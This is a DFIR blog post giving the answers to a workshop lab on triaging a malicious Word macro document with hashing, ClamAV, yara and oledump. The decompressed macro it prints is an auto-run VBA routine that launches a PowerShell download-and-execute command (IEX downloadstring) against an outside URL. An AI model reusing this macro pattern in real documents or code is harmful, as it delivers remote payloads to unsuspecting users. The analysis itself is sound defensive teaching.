A DFIR Blog
A big thank you to the UW Gray Hats Cybersecurity Club for inviting me on campus to present my Malware Triage Workshop!
This post contains the answers to the malware lab section of the workshop. I generated the macro with code from this Null-bytes article. The lab shows analysts how to triage a basic malicious word document with an embedded macro, a tactic commonly used by cyber criminals. This type of malware is typically delivered through phishing. Never open an office document that contains a macro from someone you don’t know!
The Evil.docm can be downloaded from here.
Password: “infected”
$ unzip Evil.zip
$ file Evil.docm
Evil.docm: Microsoft Word 2007+
Note: .docm indicates that the document contains macros.
$ xxd Evil.docm | head
0000000: 504b 0304 1400 0600 0800 0000 2100 04d9 PK..........!...
0000010: 8a77 9d01 0000 3106 0000 1300 0802 5b43 .w....1.......[C
0000020: 6f6e 7465 6e74 5f54 7970 6573 5d2e 786d ontent_Types].xm
0000030: 6c20 a204 0228 a000 0200 0000 0000 0000 l ...(..........
0000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
Note: PK is our magic number. Look here for “PK”, or ‘50 4B 03 04”. Notice that PK could indicate a number of different file types.
$ openssl dgst -md5 Evil.docm
MD5(Evil.docm)= a102976763e24de9871be806a0f18ba1
$ openssl dgst -sha1 Evil.docm
SHA1(Evil.docm)= 40adac8fe197a9c3cf3ab965ad897cfd45e14c4e
$ openssl dgst -sha256 Evil.docm
SHA256(Evil.docm)= c015ddedb10e9842f01dfc906f14e540de821383d18c1bca9cb5eeb784089243
$ ssdeep Evil.docm
ssdeep,1.1--blocksize:hash:hash,filename
384:Xsz8ND1UU6EsoUg7mJGxmpzSN+2cdc4TlOdeoiG:XD8UIoUyuGxmp0fLdiG,"/home/remnux/Downloads/Evil.docm"
$ python Automater.py a102976763e24de9871be806a0f18ba1
____________________ Results found for: a102976763e24de9871be806a0f18ba1 ____________________
[+] MD5 found on VT: No results found
[+] Scan date submitted: No results found
[+] Detected Engines: No results found
[+] Total Engines: No results found
[+] Vendor | Classification: No results found
[+] Hash found at ThreatExpert: No results found
[+] Malicious Indicators from ThreatExpert: No results found
[+] Date found at VXVault: No results found
[+] URL found at VXVault: No results found
[+] Malc0de Date: No results found
[+] Malc0de IP: No results found
[+] Malc0de Country: No results found
[+] Malc0de ASN: No results found
[+] Malc0de ASN Name: No results found
[+] Malc0de MD5: No results found
$ python Automater.py 40adac8fe197a9c3cf3ab965ad897cfd45e14c4e
____________________ Results found for: 40adac8fe197a9c3cf3ab965ad897cfd45e14c4e ____________________
[+] MD5 found on VT: No results found
[+] Scan date submitted: No results found
[+] Detected Engines: No results found
[+] Total Engines: No results found
[+] Vendor | Classification: No results found
[+] Hash found at ThreatExpert: No results found
[+] Malicious Indicators from ThreatExpert: No results found
[+] Date found at VXVault: No results found
[+] URL found at VXVault: No results found
[+] Malc0de Date: No results found
[+] Malc0de IP: No results found
[+] Malc0de Country: No results found
[+] Malc0de ASN: No results found
[+] Malc0de ASN Name: No results found
[+] Malc0de MD5: No results found
No results found in the THMD5
Note: T/s Automater:
$ sudo vi /usr/lib/python2.7/dist-packages/requests/compat.py
/order replace w/ collections
$ freshclam
$ clamscan -ir Evil.docm
Evil.docm: Doc.Downloader.Generic-6680573-0 FOUND
----------- SCAN SUMMARY -----------
Known viruses: 6781124
Engine version: 0.98.7
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.00 MB
Data read: 0.02 MB (ratio 0.00:1)
Time: 13.893 sec (0 m 13 s)
$ locate daily.cvd
/var/lib/clamav/daily.cvd
$ cp /var/lib/clamav/daily.cvd ~/Downloads/
$ sigtool -u daily.cvd
$ locate main.cvd
/var/lib/clamav/main.cvd
$ cp /var/lib/clamav/main.cvd ~/Downloads/
$ sigtool -u main.cvd
$ grep 'Doc.Downloader.Generic-6680573-0' *
daily.ldb:Doc.Downloader.Generic-6680573-0;Engine:51-255,Target:2;0&1&2&3;0:4174747269627574652056425f4e616d65203d2022;22706f7765727368656c6c2e657865;28286e65772d6f626a656374;286578656329
$ echo '4174747269627574652056425f4e616d65203d2022' | xxd -r -p
Attribute VB_Name = "
$ echo '22706f7765727368656c6c2e657865' | xxd -r -p
"powershell.exe
$ echo '28286e65772d6f626a656374' | xxd -r -p
((new-object
$ echo '286578656329' | xxd -r -p
(exec)
$ yara -gms /opt/remnux-rules/yara/Malicious_Documents/Maldoc_VBA_macro_code.yar Evil.docm
Contains_VBA_macro_code [] [author="evild3ad",description="Detect a MS Office document with embedded VBA macro code",date="2016-01-09",filetype="Office documents"] Evil.docm
0x0:$zipmagic: PK
0xc7a:$xmlstr1: vbaProject.bin
0xd6f:$xmlstr1: vbaProject.bin
0x41ca:$xmlstr1: vbaProject.bin
0x4210:$xmlstr1: vbaProject.bin
0x2604:$xmlstr2: vbaData.xml
0x42d3:$xmlstr2: vbaData.xml
$ python /opt/remnux-scripts/officeparser.py Evil.docm
WARNING: last sector has invalid size
Note: Try another tool!
$ python /opt/remnux-didier/oledump.py Evil.docm
A: word/vbaProject.bin
A1: 413 'PROJECT'
A2: 71 'PROJECTwm'
A3: M 1842 'VBA/NewMacros'
A4: m 1095 'VBA/ThisDocument'
A5: 3204 'VBA/_VBA_PROJECT'
A6: 762 'VBA/dir'
Note: Take note of the stream numbers ‘3’ & ‘4’. The “letter M next to the index is an indicator for the presence of VBA code. A lowercase letter m indicates VBA code with only Attribute statements, an uppercase letter M indicates more sophisticated VBA code, i.e. code with other statement types than Attribute statements.” 4 The capital M is the stream we should look closely at.
Side Note: Word/Excel/PPT docs are actually zipped xml documents.
$ zipinfo Evil.docm
Archive: Evil.docm
Zip file size: 17667 bytes, number of entries: 17
-rw---- 4.5 fat 1585 b- defS 80-Jan-01 00:00 [Content_Types].xml
-rw---- 4.5 fat 590 b- defS 80-Jan-01 00:00 _rels/.rels
-rw---- 4.5 fat 1081 b- defS 80-Jan-01 00:00 word/_rels/document.xml.rels
-rw---- 4.5 fat 2606 b- defS 80-Jan-01 00:00 word/document.xml
-rw---- 4.5 fat 277 b- defS 80-Jan-01 00:00 word/_rels/vbaProject.bin.rels
-rw---- 4.5 fat 10240 b- defS 80-Jan-01 00:00 word/vbaProject.bin
-rw---- 4.5 fat 6797 b- defS 80-Jan-01 00:00 word/theme/theme1.xml
-rw---- 4.5 fat 3058 b- defS 80-Jan-01 00:00 word/settings.xml
-rw---- 4.5 fat 2570 b- defS 80-Jan-01 00:00 word/vbaData.xml
-rw---- 4.5 fat 252 b- defS 80-Jan-01 00:00 customXml/item1.xml
-rw---- 4.5 fat 755 b- defS 80-Jan-01 00:00 docProps/core.xml
-rw---- 4.5 fat 709 b- defS 80-Jan-01 00:00 docProps/app.xml
-rw---- 4.5 fat 655 b- defS 80-Jan-01 00:00 word/webSettings.xml
-rw---- 4.5 fat 28900 b- defS 80-Jan-01 00:00 word/styles.xml
-rw---- 4.5 fat 341 b- defS 80-Jan-01 00:00 customXml/itemProps1.xml
-rw---- 4.5 fat 296 b- defS 80-Jan-01 00:00 customXml/_rels/item1.xml.rels
-rw---- 4.5 fat 1419 b- defS 80-Jan-01 00:00 word/fontTable.xml
17 files, 62131 bytes uncompressed, 13503 bytes compressed: 78.3%
$ oledump.py -s 3 Evil.docm
00000000: 01 16 03 00 00 F4 00 00 00 A6 03 00 00 D8 00 00 ................
00000010: 00 B4 01 00 00 FF FF FF FF AD 03 00 00 7D 05 00 .............}..
00000020: 00 0F 06 00 00 00 00 00 00 01 00 00 00 D9 D5 7C ...............|
00000030: 1A 00 00 FF FF 03 00 00 00 00 00 00 00 B6 00 FF ................
00000040: FF 01 01 00 00 00 00 FF FF FF FF 00 00 00 00 FF ................
00000050: FF FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 03 ................
00000090: 00 00 00 05 00 00 00 07 00 00 00 FF FF FF FF FF ................
000000A0: FF FF FF 01 01 08 00 00 00 FF FF FF FF 78 00 00 .............x..
000000B0: 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000D0: 00 00 FF FF 00 00 00 00 4D 45 00 00 FF FF FF FF ........ME......
000000E0: FF FF 00 00 00 00 FF FF 00 00 00 00 FF FF 01 01 ................
000000F0: 00 00 00 00 DF 00 FF FF 00 00 00 00 00 00 FF FF ................
00000100: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
00000110: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
00000120: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
00000130: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
00000140: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
00000150: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
00000160: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
00000170: FF FF FF FF FF FF FF FF FF FF FF FF FF FF 28 00 ..............(.
00000180: 00 00 00 00 02 3C 08 00 FF FF 00 00 00 00 02 3C .....<.........<
00000190: 10 00 FF FF 00 00 00 00 02 3C 18 00 FF FF 00 00 .........<......
000001A0: 00 00 02 3C FF FF FF FF 00 00 FF FF 01 01 00 00 ...<............
000001B0: 00 00 00 00 00 00 00 00 00 00 98 00 00 00 01 01 ................
000001C0: 60 01 00 00 40 00 00 00 FF FF FF FF 02 83 32 02 `...@.........2.
000001D0: FF FF FF FF 00 00 00 00 FF FF FF FF 38 00 00 00 ............8...
000001E0: 00 00 FF FF FF FF FF FF 00 00 00 00 FF FF FF FF ................
000001F0: FF FF FF FF 00 00 00 00 00 00 00 00 1D 00 00 00 ................
00000200: 25 00 00 00 0B 12 34 02 B8 00 00 00 FF FF FF FF %.....4.........
00000210: 00 00 00 00 FF FF FF FF FF FF FF FF 00 00 00 00 ................
00000220: 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF ................
00000230: 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF ................
00000240: FF FF FF FF FF FF FF FF 05 00 00 00 00 00 84 00 ................
00000250: 00 02 00 00 FF FF FF FF 68 00 00 00 FF FF FF FF ........h.......
00000260: 00 00 00 00 60 84 36 02 FF FF FF FF FF FF FF FF ....`.6.........
00000270: FF FF FF FF 08 00 FF FF 00 00 00 00 0B 12 3A 02 ..............:.
00000280: 08 01 00 00 FF FF FF FF 00 00 00 00 FF FF FF FF ................
00000290: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002A0: 00 00 00 00 FF FF FF FF 00 00 00 00 00 00 00 00 ................
000002B0: 00 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF ................
000002C0: 03 00 00 00 00 00 84 00 00 02 FF FF 0B 12 3C 02 ..............<.
000002D0: FF FF FF FF FF FF FF FF 00 00 00 00 FF FF FF FF ................
000002E0: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002F0: 00 00 00 00 FF FF FF FF 00 00 00 00 00 00 00 00 ................
00000300: 00 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF ................
00000310: 03 00 00 00 00 00 84 00 00 02 00 00 FF FF FF FF ................
00000320: 00 01 00 00 03 00 01 00 00 00 00 00 00 00 00 00 ................
00000330: 00 00 00 00 40 00 00 00 FF FF FF FF FF FF FF FF ....@...........
00000340: FF FF FF FF FF FF FF FF FF FF FF FF 08 01 00 00 ................
00000350: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
00000360: FF FF FF FF FF FF FF FF FF FF FF FF 08 00 00 00 ................
00000370: 00 00 00 00 00 00 00 00 10 00 00 00 08 00 FF FF ................
00000380: FF FF 00 00 00 00 FF FF FF FF FF FF FF FF FF FF ................
00000390: FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 00 ................
000003A0: 02 00 FF FF FF FF 00 00 00 00 00 00 DF 00 00 00 ................
000003B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000003C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000003D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000003E0: 00 00 00 00 00 00 00 00 00 FE CA 01 00 0B 00 22 ..............."
000003F0: 81 08 00 06 00 00 00 00 00 00 00 00 80 08 04 08 ............�...
00000400: 00 00 00 08 00 00 00 00 81 08 04 98 00 00 00 60 ...............`
00000410: 00 00 00 00 81 08 04 0C 00 00 00 10 00 00 00 04 ................
00000420: 81 08 00 02 00 00 00 20 00 00 00 22 81 08 00 06 ....... ..."....
00000430: 00 00 00 28 00 00 00 00 81 08 04 06 00 00 00 30 ...(...........0
00000440: 00 00 00 04 81 08 00 02 00 00 00 38 00 00 00 22 ...........8..."
00000450: 81 08 00 06 00 00 00 48 00 00 00 00 81 08 04 06 .......H........
00000460: 00 00 00 50 00 00 00 04 81 08 00 02 00 00 00 58 ...P...........X
00000470: 00 00 00 FF FF FF FF 01 01 00 01 00 00 96 04 40 ...............@
00000480: 00 00 00 00 00 5D 00 F5 04 A0 00 00 00 20 00 36 .....]....... .6
00000490: 02 1D 00 41 40 38 02 01 00 10 00 00 00 6F 00 FF ...A@8.......o..
000004A0: FF 18 00 00 00 96 04 B8 00 00 00 00 00 41 40 34 .............A@4
000004B0: 02 00 00 00 00 6F 00 FF FF 00 00 00 00 FF FF FF .....o..........
000004C0: FF 38 00 00 00 96 04 08 01 00 00 00 00 41 40 34 .8...........A@4
000004D0: 02 00 00 00 00 6F 00 FF FF 98 00 00 00 B9 00 90 .....o..........
000004E0: 00 70 6F 77 65 72 73 68 65 6C 6C 2E 65 78 65 20 .powershell.exe
000004F0: 22 49 45 58 20 28 28 6E 65 77 2D 6F 62 6A 65 63 "IEX ((new-objec
00000500: 74 20 6E 65 74 2E 77 65 62 63 6C 69 65 6E 74 29 t net.webclient)
00000510: 2E 64 6F 77 6E 6C 6F 61 64 73 74 72 69 6E 67 28 .downloadstring(
00000520: 27 68 74 74 70 73 3A 2F 2F 6F 72 69 67 30 33 2E 'https://orig03.
00000530: 64 65 76 69 61 6E 74 61 72 74 2E 6E 65 74 2F 31 deviantart.net/1
00000540: 32 36 66 2F 66 2F 32 30 30 39 2F 31 35 36 2F 38 26f/f/2009/156/8
00000550: 2F 35 2F 6F 77 6C 5F 62 65 61 72 5F 62 79 5F 62 /5/owl_bear_by_b
00000560: 65 6E 77 6F 6F 74 74 65 6E 2E 6A 70 67 27 29 29 enwootten.jpg'))
00000570: 22 27 00 36 02 FF FF FF FF C0 01 00 00 FF FF FF "'.6............
00000580: FF 01 01 08 00 00 00 FF FF FF FF 78 00 00 00 FF ...........x....
00000590: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
000005A0: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
000005B0: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
000005C0: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
000005D0: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
000005E0: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
000005F0: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
00000600: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
00000610: FF FF FF 00 00 01 19 B1 00 41 74 74 72 69 62 75 .........Attribu
00000620: 74 00 65 20 56 42 5F 4E 61 6D 00 65 20 3D 20 22 t.e VB_Nam.e = "
00000630: 4E 65 77 00 4D 61 63 72 6F 73 22 0A 00 53 75 62 New.Macros"..Sub
00000640: 20 41 75 74 6F 00 5F 4F 70 65 6E 28 29 0A 02 20 Auto._Open()..
00000650: 00 00 44 69 6D 20 65 78 80 65 63 20 41 73 20 53 ..Dim ex�ec As S
00000660: 00 7C 1C 6E 67 02 2C 02 24 00 7A 70 6F 77 00 65 .|.ng.,.$.zpow.e
00000670: 72 73 68 65 6C 6C 2E 01 00 24 20 22 22 49 45 58 rshell...$ ""IEX
00000680: 20 00 28 28 6E 65 77 2D 6F 62 00 6A 65 63 74 20 .((new-ob.ject
00000690: 6E 65 74 00 2E 77 65 62 63 6C 69 65 00 6E 74 29 net..webclie.nt)
000006A0: 2E 64 6F 77 6E 20 6C 6F 61 64 73 02 4B 28 27 00 .down loads.K('.
000006B0: 68 74 74 70 73 3A 2F 2F 00 6F 72 69 67 30 33 2E https://.orig03.
000006C0: 64 00 65 76 69 61 6E 74 61 72 04 74 2E 00 38 2F d.eviantar.t..8/
000006D0: 31 32 36 66 00 2F 66 2F 32 30 30 39 2F 00 31 35 126f./f/2009/.15
000006E0: 36 2F 38 2F 35 2F 00 6F 77 6C 5F 62 65 61 72 08 6/8/5/.owl_bear.
000006F0: 5F 62 79 00 07 6E 77 6F 6F 00 74 74 65 6E 2E 6A _by..nwoo.tten.j
00000700: 70 67 40 27 29 29 22 22 22 02 9F 53 09 01 92 20 pg@'))"""..S...
00000710: 28 01 A6 29 0A 45 6E 7C 64 20 00 DB 06 DF 08 6F (..).En|d .....o
00000720: 06 77 0A 12 57 80 6F 72 6B 62 6F 6F 6B 09 84 01 .w..W�orkbook...
00000730: 8F 14 ..
$ oledump.py -s 4 Evil.docm
00000000: 01 16 03 00 00 F4 00 00 00 B8 02 00 00 D8 00 00 ................
00000010: 00 DE 01 00 00 FF FF FF FF BF 02 00 00 13 03 00 ................
00000020: 00 A5 03 00 00 00 00 00 00 01 00 00 00 D9 D5 11 ................
00000030: 37 00 00 FF FF A3 01 00 00 88 00 00 00 B6 00 FF 7...............
00000040: FF 01 01 00 00 00 00 FF FF FF FF 00 00 00 00 FF ................
00000050: FF FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 03 ................
00000090: 00 00 00 05 00 00 00 07 00 00 00 FF FF FF FF FF ................
000000A0: FF FF FF 01 01 08 00 00 00 FF FF FF FF 78 00 00 .............x..
000000B0: 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000D0: 00 00 FF FF 00 00 00 00 4D 45 00 00 FF FF FF FF ........ME......
000000E0: FF FF 00 00 00 00 FF FF 00 00 00 00 FF FF 01 01 ................
000000F0: 00 00 00 00 DF 00 FF FF 00 00 00 00 18 00 FF FF ................
00000100: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
00000110: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
00000120: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
00000130: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
00000140: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
00000150: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
00000160: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
00000170: FF FF FF FF FF FF FF FF FF FF FF FF FF FF 28 00 ..............(.
00000180: 00 00 02 00 53 22 FF FF FF FF 00 00 01 00 53 10 ....S"........S.
00000190: FF FF FF FF 00 00 01 00 53 22 FF FF FF FF 00 00 ........S"......
000001A0: 00 00 02 3C FF FF FF FF 00 00 FF FF 01 01 00 00 ...<............
000001B0: 00 00 01 00 28 00 31 00 4E 00 6F 00 72 00 6D 00 ....(.1.N.o.r.m.
000001C0: 61 00 6C 00 2E 00 54 00 68 00 69 00 73 00 44 00 a.l...T.h.i.s.D.
000001D0: 6F 00 63 00 75 00 6D 00 65 00 6E 00 74 00 08 00 o.c.u.m.e.n.t...
000001E0: 00 00 00 00 FF FF FF FF 01 01 48 00 00 00 02 80 ..........H....�
000001F0: FE FF FF FF FF FF 20 00 00 00 FF FF FF FF 30 00 ...... .......0.
00000200: 00 00 02 01 FF FF 00 00 00 00 00 00 00 00 FF FF ................
00000210: FF FF FF FF FF FF 00 00 72 64 09 30 78 37 1D 00 ........rd.0x7..
00000220: 00 00 25 00 00 00 FF FF FF FF 40 00 00 00 FF FF ..%.......@.....
00000230: FF FF 38 00 00 00 00 00 00 00 00 00 01 00 00 00 ..8.............
00000240: 00 00 00 00 00 00 FF FF FF FF FF FF FF FF FF FF ................
00000250: FF FF 00 00 00 00 FF FF FF FF FF FF FF FF FF FF ................
00000260: FF FF FF FF FF FF FF FF FF FF 00 00 00 00 FF FF ................
00000270: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
00000280: FF FF 00 00 00 00 00 00 00 00 FF FF 00 00 FF FF ................
00000290: FF FF FF FF 00 00 00 00 FF FF FF FF FF FF FF FF ................
000002A0: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
000002B0: 00 00 01 00 FF FF FF FF 00 00 00 00 00 00 DF 00 ................
000002C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002F0: 00 00 00 00 00 00 00 00 00 00 00 FE CA 01 00 00 ................
00000300: 00 FF FF FF FF 01 01 08 00 00 00 FF FF FF FF 78 ...............x
00000310: 00 00 00 FF FF FF FF 01 01 08 00 00 00 FF FF FF ................
00000320: FF 78 00 00 00 FF FF FF FF FF FF FF FF FF FF FF .x..............
00000330: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
00000340: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
00000350: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
00000360: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
00000370: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
00000380: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
00000390: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
000003A0: FF FF FF FF FF FF FF FF FF 00 00 01 98 B0 00 41 ...............A
000003B0: 74 74 72 69 62 75 74 00 65 20 56 42 5F 4E 61 6D ttribut.e VB_Nam
000003C0: 00 65 20 3D 20 22 54 68 69 00 73 44 6F 63 75 6D .e = "Thi.sDocum
000003D0: 65 6E 88 74 22 0A 0A 88 42 61 73 02 88 00 31 4E en.t"...Bas...1N
000003E0: 6F 72 6D 61 6C 2E 81 18 A8 47 6C 6F 62 61 6C 01 ormal....Global.
000003F0: A6 10 53 70 61 63 01 6A 46 61 6C 04 73 65 0B 9E ..Spac.jFal.se..
00000400: 43 72 65 61 74 08 61 62 6C 14 1E 50 72 65 64 90 Creat.abl..Pred.
00000410: 65 63 6C 61 00 06 49 64 00 9A 08 54 72 75 0C 40 ecla..Id...Tru.@
00000420: 45 78 70 6F 04 73 65 13 1B 54 65 6D 70 6C 00 61 Expo.se..Templ.a
00000430: 74 65 44 65 72 69 76 01 14 23 43 75 73 74 6F 6D teDeriv..#Custom
00000440: 69 06 7A 84 41 02 30 i.z.A.0
Note: Now we want to decompress the VBA code.
$ oledump.py -s 3 -v Evil.docm
Attribute VB_Name = "NewMacros"
Sub Auto_Open()
Dim exec As String
exec = "powershell.exe ""IEX ((new-object net.webclient).downloadstring('https://orig03.deviantart.net/126f/f/2009/156/8/5/owl_bear_by_benwootten.jpg'))"""
Shell (exec)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
Note: Here we found our network IOC!
$ oledump.py -s 4 -v Evil.docm
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Note: The VT & Hybrid Analysis reports confirm out previous analysis and provide an IOC list to create additional signatures to detect this threat.